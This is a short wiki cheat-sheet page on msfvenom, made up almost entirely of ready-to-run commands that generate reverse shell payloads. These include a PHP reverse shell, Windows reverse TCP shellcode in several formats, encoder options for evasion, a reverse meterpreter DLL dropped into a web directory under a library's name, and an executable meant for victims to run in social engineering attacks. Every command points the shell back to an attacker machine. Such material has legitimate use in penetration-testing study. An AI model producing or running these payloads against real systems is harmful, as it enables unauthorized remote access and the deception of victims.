Msfvenom

From Grayhat cheatsheets
Jump to navigationJump to search

Tool to generate shellcodes. Replaces the previous msfencode.

Examples:

  • Generate a reverse php shellcode excluding nullbyte, CR and LF, and save it to a php file

msfvenom -p php/reverse_php -f raw lhost=192.168.1.100 lport=1234 -b"\x00\x0a\x0d" > file.php

  • Shellcode for an exploit to get a windows reverse shell, using python format for the shellcode (to presumably place it in a python exploit).

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.100 LPORT=1234 -b '\x00\x0a\x0d' -i 3 -f python

  • Encode with shikata ga nai the shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 -f python –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

  • Javascript format:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.147 LPORT=443 -f js_le -e generic/none

  • Include exitfunction to restart the service after exitint. Perl format:

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.68 EXITFUNC=seh LPORT=1234 -b \x00\x0a\x0d -f perl

  • Reverse meterpreter in a windows dll library.

msfvenom -p windows/meterpreter/reverse_https LHOST=10.11.0.68 LPORT=1234 -f dll --platform windows -a x86 > /var/www/html/bethany/SciLexer.dll

Some of the parameters are: -p #payload used.   -b #bytes that should be excluded, in HEX format.   -f #format of the shellcode.   -i #iterations, number of times the payload is encoded.   LHOST #IP of the attacking machine, that will receive the reverse shell in a listener.   LPORT #Port where the listener is expecting the reverse shell.

msfvenom --help-formats Shows the available formats for creating payloads   This website contains good examples of using msfvenom: http://hackingandsecurity.blogspot.com.es/2016/04/msfpayload-and-msfencode-have-been.html

Generate executable payloads (for example, for social engineering attacks, where a victim executes the exploit we send them):

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -o shell_reverse.exe